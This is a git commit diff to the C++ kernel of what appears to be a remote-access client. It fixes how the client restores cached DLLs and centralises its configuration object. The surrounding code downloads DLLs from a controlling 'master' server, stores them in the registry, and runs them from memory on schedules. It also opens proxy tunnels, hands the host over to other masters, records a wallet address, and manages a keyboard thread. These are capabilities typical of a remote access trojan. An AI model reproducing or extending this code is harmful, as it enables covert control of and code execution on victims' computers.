Fix: Using wrong DLL info size causes RestoreMemDLL restore failed

This commit is contained in:
yuanyuanxiang
2026-04-26 23:27:54 +02:00
parent fa9ee977b5
commit b98607d24d
2 changed files with 54 additions and 49 deletions

View File

@@ -66,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
{
m_cfg = new iniFile(CLIENT_PATH);
m_ulThreadCount = 0;
#ifdef _DEBUG
m_settings = { 5 };
@@ -96,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
CKernelManager::~CKernelManager()
{
Mprintf("~CKernelManager begin\n");
SAFE_DELETE(m_cfg);
HANDLE hList[MAX_THREADNUM] = {};
for (int i=0; i<MAX_THREADNUM; ++i) {
if (m_hThread[i].h!=0) {
@@ -239,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param;
CManager* This = dll->manager;
CKernelManager* This = (CKernelManager*)dll->manager;
#if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
@@ -268,17 +270,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE_ARRAY(user);
break;
@@ -287,17 +293,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = 0;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
else {
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
}
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
SAFE_DELETE_ARRAY(user);
break;
@@ -630,16 +640,15 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
}
int CKernelManager::RestoreMemDLL() {
iniFile cfg(CLIENT_PATH);
binFile bin(CLIENT_PATH);
// 枚举所有以 .md5 结尾的值名称
auto md5Keys = cfg.EnumValues("settings", ".md5");
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
int count = 0;
for (const auto& key : md5Keys) {
// 获取 MD5 值
std::string md5 = cfg.GetStr("settings", key);
std::string md5 = m_cfg->GetStr("settings", key);
if (md5.empty())
continue;
@@ -657,11 +666,11 @@ int CKernelManager::RestoreMemDLL() {
continue;
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
if (binData.size() < sz + info->Size)
if (binData.size() < 1 + info->InfoSize + info->Size)
continue;
// 恢复到 m_MemDLL
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz);
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
count++;
@@ -673,8 +682,8 @@ int CKernelManager::RestoreMemDLL() {
ScheduleParams& sch = infoCopy.Schedule;
// 从注册表读取运行时状态LastRunTime 和 CurrentCount
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun");
std::string countStr = cfg.GetStr("settings", name + ".count");
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
std::string countStr = m_cfg->GetStr("settings", name + ".count");
if (!lastRunStr.empty()) {
sch.LastRunTime = std::stoull(lastRunStr);
}
@@ -695,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果有时间间隔限制,更新 LastRunTime
if (sch.Config.Startup.Interval > 0) {
YamaTaskEngine::MarkExecuted(&sch);
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
}
// 如果有次数限制,更新 CurrentCount
if (sch.MaxCount > 0) {
@@ -703,7 +712,7 @@ int CKernelManager::RestoreMemDLL() {
// 如果没更新过 LastRunTime需要单独增加计数
sch.CurrentCount++;
}
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
}
}
}
@@ -721,15 +730,15 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
config *cfg = This->m_cfg;
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
Mprintf("Execute local DLL from registry: %s\n", md5);
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
@@ -741,8 +750,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 收到完整 DLL 数据,保存到注册表
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
@@ -758,7 +766,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
// 替换 .bin 中的参数部分(跳过命令字节)
memcpy(&binData[1], szBuffer + 1, sizeof(T));
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
Mprintf("Update DLL params in registry: %s\n", info->Name);
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
}
}
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
@@ -783,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
switch (szBuffer[0]) {
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "group_name", group);
m_cfg->SetStr("settings", "group_name", group);
break;
}
@@ -955,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
iniFile cfg(CLIENT_PATH);
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
if (v[0].empty() || v[1].empty())
break;
auto now = time(nullptr);
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
if (now <= valid_to) break; // Avoid assign again
cfg.SetStr("settings", "master", v[0]);
cfg.SetStr("settings", "port", v[1]);
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
// overflow after 2038-01-19
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
}
}
case SHARE_TYPE_YAMA: {
@@ -984,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
auto list = cfg.GetStr("settings", "share_list");
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
shareList.push_back(share);
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
@@ -1003,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE_CANCEL: {
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "share_list", "");
m_cfg->SetStr("settings", "share_list", "");
}
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
@@ -1027,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
}
if (m_ClientApp->IsMainInstance()) {
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
}
CManager* pMgr = (CManager*)m_hKeyboard->user;
if (pMgr) {

View File

@@ -134,6 +134,7 @@ struct RttEstimator {
class CKernelManager : public CManager
{
public:
iniFile* m_cfg = nullptr;
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);